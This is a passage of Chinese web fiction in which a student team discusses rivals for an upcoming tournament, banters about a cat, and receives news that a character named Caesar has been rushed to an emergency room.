凯撒带给她的危机感和压迫感,不亚于面对洪水猛兽。即便他发的那些垃圾短信,还有挂在嘴边的“我的朋友”,让他看起来平易近人,但郗灵心里清楚——一只狮子上一秒还能温情地舔舐你的手背,下一秒就可能凶性大发,一口咬断你的咽喉。 渡鸦还在盯猫,盯得猫背毛炸起。 莱茵接过话题:“是的,他们四个也参赛了。” “他们当年只是大一新生,就破天荒地冲进了五骄,如今三年过去,实力只会更加恐怖。”欧白白脸上的笑容消失了,她鲜少这般严肃,“会长,你觉得,我们最棘手的对手是谁?” 莱茵毫不犹豫地答:“卫惊鸿。” 欧白白惊讶地反问:“难道不是凯撒吗?” “卫惊鸿当年只是运气太差,不然,个人榜第二名肯定是她。” 郗灵低下头,飞快搜索上一届五骄的百科介绍和战斗集锦。雪理见渡鸦一直盯着屋顶,放下铲雪顶的小勺子,也抬头看了过去。 雪理:“你喜欢猫?” 渡鸦:“不,我在它身上闻到了讨厌的味道。” 雪理:“你讨厌猫?” 渡鸦:“说不上讨厌……它是个公猫吧?割蛋了没?一会儿我给猫协打电话问问。” 墨菲:“……” 墨菲蛋蛋一紧,逃也似的跑了。 五骄终究是个遥远的话题,眼下,他们的首要目标是顺利夺擂,成为能保送晋级赛的种子队。 郗灵喝着小甜水,看着欧白白将训练计划表用力铺在桌面上——表格太长,还有一小卷滑落到了地上。 郗灵弯腰捡起计划表,刚直起腰,手腕上的光脑突然“滴滴”响了两声: 【墨菲】:“皇帝”暴走了! 【墨菲】:快来校医院!凯撒已经进抢救室了!